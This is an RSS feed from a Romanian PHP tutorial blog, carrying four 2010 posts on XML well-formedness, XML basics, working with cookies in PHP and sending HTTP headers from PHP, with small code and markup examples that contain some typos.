<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LA TAIFAS . RO &#187; php</title>
	<atom:link href="http://lataifas.ro/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://lataifas.ro</link>
	<description>What you see is what you’ll be</description>
	<lastBuildDate>Tue, 06 Dec 2011 23:57:08 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>XML Documente well-formed</title>
		<link>http://lataifas.ro/2010/02/xml-documente-well-formed/</link>
		<comments>http://lataifas.ro/2010/02/xml-documente-well-formed/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 17:16:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Php tutorial]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://lataifas.ro/?p=161</guid>
		<description><![CDATA[  Documente well-formed Precum se vede, XML permite definirea de limbaje (vocabulare) ce contin si descriu datele. Libertatea creatorului nu este insa absoluta: pentru ca un fisier XML sa poata fi citit si &#8220;inteles&#8221;) de catre o alta aplicatie, este necesar ca el sa respecte niste reguli generale de sintaxa.  Iata setul de reguli de care [...]]]></description>
			<content:encoded><![CDATA[<p><strong>  Documente well-formed</strong></p>
<p>Precum se vede, XML permite definirea de limbaje (vocabulare) ce contin si descriu datele. Libertatea creatorului nu este insa absoluta: pentru ca un fisier XML sa poata fi citit si &#8220;inteles&#8221;) de catre o alta aplicatie, este necesar ca el sa respecte niste reguli generale de sintaxa.</p>
<p> Iata setul de reguli de care trebuie tinut seama la crearea unui fisier XML:</p>
<ul>
<li>      <strong>reguli ce tin de elemente</strong></li>
</ul>
<ol>
<li>   fisierul trebuie sa contina un singur element radacina (eel aflat in radacina fisierului si care nu are element parinte)</li>
<li>   fiecare element ce contine date trebuie sa aiba atat tag de inceput, cat si de incheiere</li>
<li>   tagul de inceput poate contine spatiu intre nume si &gt;, insa nu si intre &lt; si nume (ex: &lt;nume &gt; este permis,pe cand &lt; nume&gt; este invalid)</li>
<li>   elementele ce nu contin date pot fi prescurtate: &lt;element/&gt; in loc de &lt;element&gt;&lt;/element&gt;</li>
<li>   elementele nu pot fi partial suprapuse (ex: &lt;tag7&gt;texr&lt;tag2&gt;text&lt;/tagl&gt;text&lt;/tag2&gt;);</li>
<li>fiecare element trebuie sa fie continut integral in interiorul altuia (cu exceptia elementului radacina)</li>
<li>  numele elementelor</li>
</ol>
<ul>
<li>
<div style="text-align: left;">■       sunt case-sensitive (nu putem scrie ca in HTML, &lt;P&gt;text&lt;/p&gt;)<br />
■       nu pot incepe cu <em>xml </em>(in orice combinatie de litere mici/mari)<br />
■       pot incepe doar cu litera sau &#8211; (minus), fiind permise pe pozitiile urmatoare si numere, minus si punct. Nu sunt permise spatii, =, : etc<br />
■       pot contine caractere cu semne diacritice (ex: a, i, e etc)</div>
</li>
</ul>
<p> </p>
<ul>     <strong>reguli ce tin de atribute</strong></ul>
<ol>
<li>    numele atributelor respecta aceleasi reguli ca numele de elemente</li>
<li>    nu este permisa existenta mai multor atribute cu acelasi nume pentru acelasi element</li>
<li>    fiecare atribut trebuie sa aiba valoare (nu este permis, de exemplu, &lt;input type=checkbox checked&gt;)</li>
<li>    valoarea fiecarui atribut trebuie inclusa intre &#8221; &#8221; sau &#8221;. In interiorul ghilimelelor pot fi folosite apostroafe si invers (ex: &lt;clasa nume=&#8217;Clasa &#8220;PHP 21 august&#8221; &#8216;&gt;)</li>
</ol>
<p>•  <strong>  reguli pentru PCDATA</strong></p>
<ul>
<li>     nu este permisa folosirea caracterelor &lt;, &gt;, &amp;,&#8221; si&#8217;. Daca PCDATA contine asemenea caractere, ele trebuie reprezentate folosind secvente predefinite &#8211; asa-numitele <em>entity references </em>(vezi tabelul alaturat)</li>
</ul>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="58" valign="top">Simbol</td>
<td width="62" valign="top"><strong>Inlocuitor</strong></td>
</tr>
<tr>
<td width="58" valign="top">&lt;</td>
<td width="62" valign="top">&amp;lt;</td>
</tr>
<tr>
<td width="58" valign="top">&gt;</td>
<td width="62" valign="top">&amp;gt;</td>
</tr>
<tr>
<td width="58" valign="top">&amp;</td>
<td width="62" valign="top">&amp;amp;</td>
</tr>
<tr>
<td width="58" valign="top">&#8216;</td>
<td width="62" valign="top">&amp;apos;</td>
</tr>
<tr>
<td width="58" valign="top"><sup>11</sup></td>
<td width="62" valign="top">&amp;quot;</td>
</tr>
</tbody>
</table>
<p>Un document care se conformeaza acestor reguli are proprietatea de a fi well-formed (corect din punct de vedere sintactic).</p>
<p>[catlist id=18 numberposts=8]</p>
<div id="seo_alrp_related"><h2>Articole XML Documente well-formed</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/xml/" rel="bookmark">Tutorial XML</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/01/regular-expressions-regex/" rel="bookmark">REGULAR EXPRESSIONS (REGEX)</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/protectia-output-ului/" rel="bookmark">PROTECTIA OUTPUT-ULUI</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/cookies/" rel="bookmark">Cookie-uri in PHP</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/headere-http/" rel="bookmark">Lucrul cu headere HTTP din PHP</a></h3></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://lataifas.ro/2010/02/xml-documente-well-formed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tutorial XML</title>
		<link>http://lataifas.ro/2010/02/xml/</link>
		<comments>http://lataifas.ro/2010/02/xml/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 17:03:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Php tutorial]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://lataifas.ro/?p=151</guid>
		<description><![CDATA[ Ce este XML XML (Extensible Markup Language) cste o specificatie W3C (World Wide Web Consortium) care reprezinta un set de reguli ce permit crearea unor limbaje de transport al datelor. El deriva din SGML (Standard Generalized Markup Language), o specificatie complexa ce reprezinta parintele multor alte limbaje de acest fel (HTML, DocBook etc). Un fisier [...]]]></description>
			<content:encoded><![CDATA[<p><strong> Ce este XML</strong></p>
<p>XML (Extensible Markup Language) c<span style="text-decoration: line-through;">ste o</span> s<span style="text-decoration: line-through;">pecificatie W3C (World Wide Web Consortium) care</span> reprezinta un set de reguli ce permit crearea unor limbaje de transport al datelor. El deriva din SGML (Standard Generalized Markup Language), o specificatie complexa ce reprezinta parintele multor alte limbaje de acest fel (HTML, DocBook etc).</p>
<p>Un fisier XML este un fisier text structurat, care contine:</p>
<ul>
<li>datele utile &#8211; informatia utila ce se doreste a fi transmisa
<ul>
<li>informatii despre aceste date <em>{meta-data) </em>- de exemplu, felul in care datele se afla in relatie unele cu altele. Meta-informatia este specificata cu ajutorul unor tag-uri (marcatoare), asemanatoare cu cele folosite in codul sursa HTML.</li>
</ul>
</li>
</ul>
<p>lata un exemplu de fisier XML:<br />
&lt;?xml  version=&#8221;1.0&#8243;?&gt; &lt;produs  id=&#8221;34&#8243;&gt;<br />
&lt;denumire&gt;Carte&lt;/denumire&gt;<br />
&lt;pret&gt;24.5&lt;/pret&gt;<br />
&lt;/produs&gt;</p>
<p>Fisierul de mai sus contine informatiile despre un produs cu id-ul 34, denumirea Carte si pretul de 24.5. In afara de aceste 3 informatii, toate celelalte reprezinta <em>meta-data: </em>prima linie indica versiunea de XML, iar tag-urile &lt;produs&gt;, &lt;denumire&gt; si &lt;pret&gt; denumesc informatiile continute in fisier, stabilind si apartenenta denumirii si pretului la produs.</p>
<p>Desi un fisier XML este pana la un punct asemanator cu unul HTML, cele doua tehnologii difera in multe aspecte:</p>
<ul>
<li>HTML a fost gandit pentru a specifica structura si modul de prezentare a datelor, pe cand XML are ca scop memorarea structurata a datelor in scopul transportului lor intre sisteme de calcul diferite</li>
<li>HTML este un limbaj, el dispunand de un set prestabilit de tag-uri; XML este o specificatie ce permite programatorului sa defineasca propriile tag-uri, care sa descrie cat mai bine datele utile si relatiile dintre ele</li>
</ul>
<p>           <strong>Avantaje si utilitate XML</strong></p>
<p>Fisierele XML fiind fisiere text, ele au avantaje multiple:</p>
<ul>
<li>sunt usor de inteles de catre ochiul uman</li>
<li>sunt usor de &#8220;inteles&#8221; pentru o aplicatie
<ul>
<li>nu depind de platforma hardware sau software pe care ruleaza aplicatiile ce lucreaza cu XML. Exista biblioteci de functii XML pentru toate platformele software, asadar un fisier XML scris sau generat in Windows poate fi citit pe MacOS sau Linux.</li>
</ul>
</li>
</ul>
<p>Un fisier XML poate fi privit ca o mini-baza de date, care este insa usor de manipulat folosind biblioteci deja scrise, si care poate fi folosita cu succes pentru transferul de date intre sisteme altminteri incompatibile.</p>
<p>      <strong>Elemente si PCDATA</strong></p>
<p>Sa consideram ca referinta urmatorul fisier XML:</p>
<p>&lt;persoana&gt;      <br />
&lt;nume&gt;john &lt;porecla&gt;The man &lt;/porecla&gt;Doe &lt;/prenume&gt;<br />
&lt;varsta&gt;30&lt;/varsta&gt;     <br />
&lt;/persoana&gt;      </p>
<p>Un tag (marcator) XML reprezinta textul ce incepe cu &lt; si se incheie cu &gt;. In exemplul de mai sus, &lt;persoana&gt;, &lt;nume&gt;, &lt;porecla&gt;, &lt;prenume&gt; si &lt;varsta&gt; sunt tag-uri. Tag-urile sunt in general pereche: exista un tag de inceput si unul de incheiere, eel de incheiere avand acelasi nume cu eel de inceput dar incepand cu &lt;/ (ex: &lt;nume&gt;&#8230;&lt;/nume&gt; ). Tag-urile sunt cele care specifica structura informatiei; informatia utila este cea prezenta intre tag-urile de inceput si de sfarsit (ex: 30, John, Doe etc in exemplul de mai sus)</p>
<p>Un <em>element </em>XML reprezinta toata informatia cuprinsa intre un tag de inceput si tag-ul corespunzator de incheiere. Intre cele doua tag-uri se pot afla:</p>
<ul>
<li>doar date de tip text &#8211; ex: elementele &lt;varsta&gt; si &lt;porecla&gt; din exemplul nostru). In acest caz, continutul elementului (textul dintre taguri) este denumit <em>parsed character data </em>sau, pe scurt, PCDATA</li>
<li>alte sub-elemente sau o combinatie de text si sub-elemente &#8211; ex: elementul &lt;nume&gt;, elementul &lt;persoana&gt; din exemplul de mai sus</li>
</ul>
<p>Atunci cand un element contine alte elemente, el reprezinta pentru ele elementul parinte, iar cele continute sunt elemente copil ale sale.</p>
<p>Fisierul de mai sus contine urmatoarea structura:</p>
<ul>
<li>un element radacina (asa-numitul <em>root element) </em>- tag-ul &lt;persoana&gt;, care la randul sau contine alte elemente</li>
<li>elementul &lt;persoana&gt; are doua elemente copil &#8211; &lt;nume&gt; si &lt;varsta&gt;</li>
<li>elementul &lt;varsta&gt; are continutul de tip PCDATA cu valoarea <em>30</em></li>
<li>elementul &lt;nume&gt; contine:</li>
<p>o    PCDATA cu valoarea <em>John</em><br />
o    elementul &lt;porecla&gt;<br />
o    PCDATA cu valoarea <em>Doe</em></p>
<li>elementul &lt;porecla&gt; contine PCDATA cu valoarea <em>The Ripper</em></li>
</ul>
<p>      <strong>Atribute</strong></p>
<p>Atributele reprezinta perechi nume=valoare asociate unui element, specificate in cadrul tagului de inceput al elementului, separate prin spatii fata de numele tagului si intre ele. Un element poate avea zero sau mai multe atribute. Orice atribut are valoare (chiar daca este cea vida), care trebuie inclusa intre &#8221; sau &#8216;:</p>
<p>&lt;student tip=&#8221;cisco&#8221; id=&#8217;135&#8242;&gt;<br />
&lt;username&gt;anonymous&lt;/username&gt; &lt;/student&gt;</p>
<p>[catlist id=18 numberposts=10]</p>
<div id="seo_alrp_related"><h2>Articole Tutorial XML</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/xml-documente-well-formed/" rel="bookmark">XML Documente well-formed</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/headere-http/" rel="bookmark">Lucrul cu headere HTTP din PHP</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/01/regular-expressions-regex/" rel="bookmark">REGULAR EXPRESSIONS (REGEX)</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/securitate-in-php/" rel="bookmark">Securitate in PHP</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/protectia-output-ului/" rel="bookmark">PROTECTIA OUTPUT-ULUI</a></h3></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://lataifas.ro/2010/02/xml/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cookie-uri in PHP</title>
		<link>http://lataifas.ro/2010/02/cookies/</link>
		<comments>http://lataifas.ro/2010/02/cookies/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 22:38:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Php tutorial]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://lataifas.ro/?p=116</guid>
		<description><![CDATA[Principii generale  Cookie-urile reprezinta perechi nume-valoare pe care serverul web le poate stoca pe hard-disk-iul clientului, prin intermediul browserului web.  Ele sunt transmise clientului prin intermediul. unui header HTTP (Set-Cookie sau Set-Cookie2), in cadrul unui raspuns la o cerere a clientului. La urmatoarele cereri depuse de acelasi client catre acelasi server, clientul va trimite automat [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Principii generale</strong></p>
<p> Cookie-urile reprezinta perechi nume-valoare pe care serverul web le poate stoca pe hard-disk-iul clientului, prin intermediul browserului web. <em> </em>Ele sunt transmise clientului prin intermediul. unui header HTTP (Set-Cookie sau Set-Cookie2), in cadrul unui raspuns la o cerere a clientului. La urmatoarele cereri depuse de acelasi client catre acelasi server, clientul va trimite automat continutul cookie-ului catre server, care poate folosi datele respective ca si date de intrare ale unei aplicatii ce genereaza o pagina web (asemanator cu informatiile provenite prin GET sau POST). Astfel, cookie-urile sunt un mecanism de propagare a informatiei de la o cerere la alta.</p>
<p>Iata doua utilizari tipice pentru cookie-uri:</p>
<p>•    un site care contine o sectiune restrictionata, accesibila numai utilizatorilor autentiflcati, seteaza un cookie in browserul clientului in momentul in care acesta se autentifica. Cookie-ul contine id-ul clientului si va fi trimis automat serverului la cererile urmatoare efectuate de client, ceea ce va permite serverului sa-1 identifice si sa-i trateze cererile ca parte a unei sesiuni</p>
<p>•    un site care permite utilizatorului sa specifice preferinte (ex: limba dorita, culoarea etc); odata alese, aceste preferinte sunt stocate pe hard-disk-ul clientului intr-un cookie si sunt trimise serverului la fiecare cerere ulterioara, ceea ce ii da acestuia posibilitatea de a genera de fiecare data pagina in concordanta cu preferintele exprimate anterior de client</p>
<p>Lucrul cu cookie-uri prezinta urmatoarele caracteristici:</p>
<p>•    avantaje</p>
<ul>
<li> un cookie poate memora informatie in mod persistent, intre doua cereri ale clientului, chiar daca elesunt efectuate la momente de timp indepartate (ex: zile)</li>
<li>   mecanismul de cookies functioneaza in mod transparent pentru utilizator &#8211; browserul si serveral web fac operatiile necesare pentru mentinerea starii intre cereri</li>
</ul>
<p>•    dezavantaje</p>
<ul>
<li>   utilizatorul poate sterge cookie-urile din browse</li>
<li>   browserul poate fi configurat sa nu accepte cookies sau sa le accepte selectiv</li>
<li>   browserele ofera de obicei spatiu de stocare drastic limitat pentru cookies</li>
</ul>
<p><strong> Parametrii  unui cookie</strong></p>
<p>Fiecare cookie trimis clientului are urmatorul set de parametri:</p>
<ul>
<li><strong>nume</strong> &#8211; cel prin intermediul caruia vor fi accesate datele de catre server atunci cand cookie-ul este trimis inapoi de catre client -    valoare &#8211; informatiile stocate in cookie</li>
<li><strong>data de expirare </strong>- specifica momentul stergerii cookie-ului; daca lipseste, cookie-ul este sters atunci cand userul inchide browserul. Serverul poate schimba acest parametru pentru un cookie deja setat (de exemplu, poate forta stergerea lui setand data de expirare in trecut)</li>
<li><strong>domeniu </strong>si <strong>cale </strong><span style="text-decoration: underline;">-specifica</span> in ce conditii este trimis inapoi cookie-ul catre server: numai daca domeniul este acelasi si URI-ul cerut de client se afla in interiorul caii specificate in <em>cale</em></li>
<li><strong>secure </strong>- pune conditia ca cookie-ul sa nu fie transmis serverului decat daca conexiunea acestuia cu clientul este una criptata (HTTPS)</li>
<li><strong>http only</strong> &#8211; pune conditia ca cookie-ul sa fie accesibil doar serverului web prin intermediul protocolului HTTP, nu si limbajelor de scripting locale (ex: Javascript)</li>
</ul>
<p>Parametrii <strong>nume </strong>si <strong>valoare </strong>sunt obligatorii, toti ceilalti sunt optionali.</p>
<p><strong>  Lucrul cu cookies din PHP</strong></p>
<p><strong> </strong>Numim setarea unui cookie operatia prin care serverul trimite un cookie catre client prin intermediul headerului HTTP corespunzator, determinand fie crearea cookie-ului in browserul clientului, fie modificarea parametrilor unui cookie setat anterior.</p>
<p>Functia PHP predefinita folosita in acest scop este setcookie:</p>
<p><strong>setcookie  ($nume   [,   $cale   [,   $expirare  [,   $cale  [,   $domeniu   [,   $secure   [,   $httponly]]]]]])</strong></p>
<p>Functia returneaza FALSE daca scriptul a produs deja output (si deci headerul HTTP Set-Cookie nu mai poate fi trimis).</p>
<p>Argumentele functiei se mapeaza pe parametrii unui cookie, cu urmatoarele mentiuni:</p>
<ol>
<li>   valoarea unui cookie nu poate fi decat scalar</li>
<li>   momentul expirarii</li>
</ol>
<ul>
<li>se specifica sub forma de Unix time (numarul de secunde scurs de la 1 ianuarie 1970, care este data conventional a a crearii sistemultii de operare Unix). Functia PHP <strong>timeO </strong>intoarce momentul prezent exprimat in acest fel, ceea ce o face foarte potrivita pentru setarea momentului expirarii unui cookie</li>
<li>daca nu este specificat sau setat pe valoarea 0, cookie-ul va expira cand utilizatorul inchide browserul</li>
</ul>
<p>Exemple:</p>
<p><em>// setare cookie doar cu nume si  valoare:  expira la inchiderea browserului</em><br />
<strong>setcookie(&#8220;c_id&#8221;,  4167);</strong><br />
<em>// setare cookie cu specificarea momentw.lui  expirarii:  2 minute de la setare</em><br />
<strong>Setcookie (&#8220;color&#8221;,&#8221;red&#8221;, time()+60);          </strong></p>
<p>Atentie! Deoarece trimiterea cookie-urilor se.face prin intermediul unui header HTTP, toate cookie-urile trebuie setate inaintea oricarui output al scriptului PHP!</p>
<p>Daca se doreste trimiterea intr-un cookie (si recuperarea ulterioara) a mai multor valori, exista doua posibilitati:</p>
<p> •    se seteaza mai multe cookie-uri. Daca se doreste ca, la citirea valorii acestora, sa se obtina un tablou (vezi mai jos accesarea informatiei din cookies), numele cookie-urilor pot fi setate cu sintaxa de tablou:</p>
<p><strong>setcookie(&#8220;cookie[0]&#8220;,  3);<br />
setcookie(&#8220;cookie[l]&#8220;,   5);</strong></p>
<p>•    se includ valorile in cauza intr-un tablou, care este transformat intr-un string folosind functiile serialize() sau implode()</p>
<p><strong>  </strong><strong>Accesarea informatiei provenite din cookies </strong></p>
<p>Clientul trimite automat impreuna cu cererea HTTP toate acele cookie-uri ale caror parametri domeniu si cale corespund cu URL-ul solicitat in cerere. Daca URL-ul determina executia unui script PHP, interpretorul PHP primeste de la server informatia din cookie si o stocheaza in variabila $_COOKIE &#8211; un tablou asociativ de tip superglobal. Acest tablou contine cate un element pentru fiecare cookie primit, perechea cheie-valoare fiind reprezentata de numele si valoarea cookie-ului.</p>
<p><strong>Atentie! </strong>Un cookie este setat intr-un raspuns al serverului si este disponibil acestuia abia incepand cu cererea urmatoare!</p>
<p><strong>If(isset($_cookie(‘lang’])){<br />
$preferred_language = $_COOKIE&#8217;lang&#8217;];<br />
else{<br />
$preferred_language = &#8220;en&#8221;;<br />
setcookie(&#8220;lang&#8221;,&#8221;en&#8221;);}</strong></p>
<p><strong>Stergerea unui cookie</strong></p>
<p>Stergerea unui cookie se poate face in diferite moduri:</p>
<p>•    ca urmare a unei actiuni a utilizatorului: browserele din ziua de astazi ofera utilizatorului interfete facile pentru managementul cookie-urilor, inclusiv stergerea sau modificarea parametrilor acestora</p>
<p>•    ca urmare a unei actiuni efectuate pe server:</p>
<ul>
<li>programatorul poate da valoarea vida cookie-ului (trimitand un cookie cu parametri identici daravand ca valoare sirul vid)</li>
<li> programatorul poate, seta momentul expirarii cookie-ului in trecut</li>
</ul>
<p> </p>
<p>Exemplu: pentru un cookie setat initial astfel:</p>
<p>// setarea initiala a cookie-ului<br />
<strong> setcookie(&#8220;nume&#8221;,”Mihai&#8221;,time()+2000);</strong></p>
<p>modalitatile de stergere sunt:</p>
<p><em>// &#8230; la o cerere ulterioara*   cookie-ul   este suprascris,   dandu-i-se valoarea &#8220;”</em><br />
<strong>setcookie(&#8220;nume&#8221;,  &#8220;&#8221;);<br />
</strong><em>// &#8230;alternativ,   se putea muta in trecut momentul  expirarii</em><br />
<strong>setcookie(&#8216;nume&#8221;,  &#8220;Mihai&#8221;,  time() -86400) ;</strong></p>
<p>Nota: este o practica buna ca, la stergerea unui cookie, timpul de expirare safie setat mult in trecut, deoarece ora de pe server si cea depe client pot diferi semnificativ, iar decizia stergerii cookie-ului la expirare ii apartine browserului, care ruleazape client.</p>
<div id="seo_alrp_related"><h2>Articole Cookie-uri in PHP</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/headere-http/" rel="bookmark">Lucrul cu headere HTTP din PHP</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/securitate-in-php/" rel="bookmark">Securitate in PHP</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/protectia-output-ului/" rel="bookmark">PROTECTIA OUTPUT-ULUI</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/xml/" rel="bookmark">Tutorial XML</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/01/regular-expressions-regex/" rel="bookmark">REGULAR EXPRESSIONS (REGEX)</a></h3></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://lataifas.ro/2010/02/cookies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lucrul cu headere HTTP din PHP</title>
		<link>http://lataifas.ro/2010/02/headere-http/</link>
		<comments>http://lataifas.ro/2010/02/headere-http/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 08:33:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Php tutorial]]></category>
		<category><![CDATA[header]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://lataifas.ro/?p=108</guid>
		<description><![CDATA[Asa cum, in sistemul de fisiere, pe langa informatia utila dintr-un fisier sunt stocate si informatii despre acesta (data crearii, a ultimei modificari etc), la fel intr-un mesaj HTTP sunt transmise, pe langa datele efective, informatii de control (ex: informatii despre continutul mesajului, despre client, server etc). Aceste informatii aditionale poarta denumirea de headere HTTP [...]]]></description>
			<content:encoded><![CDATA[<p>Asa cum, in sistemul de fisiere, pe langa informatia utila dintr-un fisier sunt stocate si informatii <em>despre </em>acesta (data crearii, a ultimei modificari etc), la fel intr-un mesaj HTTP sunt transmise, pe langa datele efective, informatii de control (ex: informatii despre continutul mesajului, despre client, server etc). Aceste informatii aditionale poarta denumirea de <em>headere </em>HTTP si sunt importante pentru programatorul PHP deoarece prin intermediul lor se realizeaza operatii precum:</p>
<ul>
<li>redirectionarea clientului catre o alta adresa (prin intermediul headerului Redirect)</li>
<li>specificarea tipului de continut pe care serverul il trimite clientului, astfel incat browserul web sa stie cum sa trateze acel continut: sa il afiseze direct (daca este vorba de text simplu), sa il afiseze formatat (daca este sursa HTML), sa il deschida cu ajutorul unui plug-in<sup>1</sup> (daca este de tip PDF sau doc) etc. Toate acestea sunt posibile prin intermediul headerului HTTP Content-type</li>
<li>setarea unui cookie (memorarea unei informatii pe client, in scopul extragerii ei ulterioare) &#8211; cu ajutorul headerului Set-Cookie (vezi sectiunea despre cookies in cadrul acestui material)</li>
<li>specificarea strategiei de caching a browserului pentru pagina ceruta &#8211; cu ajutorul headerelor Cache-Control si Expires. Browserele internet incearca in general sa pastreze in cache cat mai multa informatie posibila, astfel incat utilizatorul sa aiba dublul avantaj al vitezei si al consumului mai mic de banda. Uneori insa pastrarea unei copii a unei pagini pe client nu este dezirabila (ex: pentru paginile generate dinamic, al caror continut se poate schimba de la o cerere la alta)</li>
</ul>
<p>Headerele sunt de forma <em>Nume-Header: informatii. </em>In mesajul HTTP, headerele se afla intotdeauna inaintea! continutului mesajului si sunt separate de acesta printr-o linie goala. De aceea. este important ca, atunci cand o aplicatie genereaza dinamic continut web (inclusiv headere HTTP atasate acestui continut), headerele sa fie generate inaintea oricarui alt output al aplicatiei generatoare.</p>
<p>    <strong>Lucrul cu headere HTTP din PHP</strong></p>
<p>PHP pune la dispozitia programatorului cateva functii predefinite pentru lucrul cu headere HTTP:</p>
<ul>
<li>header() &#8211; folosita pentru a trimite headere HTTP specificate de programator catre client</li>
<li><strong>headers_sent() </strong>- folosita pentru a verifica daca headerele au fost deja trimise catre client (caz in care nu mai putem adauga altul)</li>
<li><strong>headers__listO </strong>- returneaza lista de headere destinate clientului (care au fost deja trimise sau care sunt in asteptare)</li>
</ul>
<p>Functia header are urmatorul prototip:<br />
void header ( string $header [,  bool  $replace  [,  int $http_response_code]]<br />
lata semnificatiile argumentelor:</p>
<ul>
<li><strong>Sheader </strong>- reprezinta headerul HTTP in forma in care acesta apare in mesajul HTTP (exemplu: &#8220;Location: <span style="text-decoration: underline;">http://www.example.com/index.php</span>&#8220;)</li>
<li><strong>Sreplace </strong>- indica daca, in caz ca exista deja un header cu acelasi nume, noul header sa il inlocuiasca pe cel vechi sau sa fie adaugat listei de headere ce trebuie trimise clientului.</li>
<li><strong>$http_response_code </strong>- specifica codul de raspuns HTTP care sa fie trimis clientului. Codurile de raspuns HTTP sunt formate din 3 cifre, iar in functie de prima cifra pot avea urmatoarele semnificatii:</li>
<li>  1xx &#8211; coduri de informare a clientului, intermediare o </li>
<li>  2xx &#8211; coduri ce indica succesul unei cereri a clientului o  </li>
<li>  3xx &#8211; redirectionari</li>
<li>  4xx<strong> </strong>- indica o eroare din partea clientului (ex: 404 &#8211; Not Found)</li>
<li>  5xx &#8211; erori ale serverului sau incapacitatea acestuia de a onora cererea clientului (ex: 503 Service Unavailable)</li>
</ul>
<p> </p>
<p>//fortam aparitia ferestrei de save in loc de simpla afisare formatata in browser header (&#8220;Content-di sposition: attachment; filename=statistici.html&#8221;);</p>
<p><span lang="EN">// trimiterea unui fisier .doc prin intermedin&#8221;! unui script PHP header(&#8220;Content-type: text/html&#8221;);</span></p>
<p>HTTP este un protocol <em>stateless &#8211; </em>fiecare cerere este tratata de catre server independent de celelalte, serverul nu isi &#8220;aminteste&#8221; ce s-a intamplat la cererile anterioare si nu coreleaza in vreun fel mai multe cereri, chiar daca ele provin de la acelasi client sau daca corespund unor resurse aflate in acelasi site.</p>
<p><strong>Solutii pentru memorarea informatiei intre doua cereri</strong></p>
<p>Pentru ca serverul sa poata mentine informatii care tin de un anume client de la o cerere a acestuia la alta, este necesara salvarea datelor in cauza la incheierea unei cereri si incarcarea lor la cererea urmatoare. Memorarea acestor date se poate face:</p>
<p>•    pe client<strong>. </strong>Solutia este mecanismul de cookies &#8211; mici cantitati de informatie pe care serverul web le poate stoca pe hard-disk-ul clientului, urmand ca ele sa-i fie trimise inapoi serverului la cererile urmatoare pe care clientul le efectueaza (vezi mai jos sectiunea despre cookies)</p>
<p>•    pe server. Solutia este sistemul de management al sesiunilor: serverul aloca clientului un spatiu de stocare pentru informatii proprii (variabile de sesiune), in care acestea se salveaza la incheierea fiecarei cereri si se incarca inapoi la urmatoarea cerere care este detectata a veni de la acelasi client. Mecanismul de stocare este dublat de unul de identificare a clientului, care permite serverului sa recunoasca cereri disparate ca venind de la acelasi client (vezi sectiunea despre sesiuni). Felul in care se face salvarea informatiilor de sesiune este configurabil de catre administratorul serverului web si al modulului de PHP (se poate face in fisiere, baze de date etc.)<br />
[catlist id=18 numberposts=10]</p>
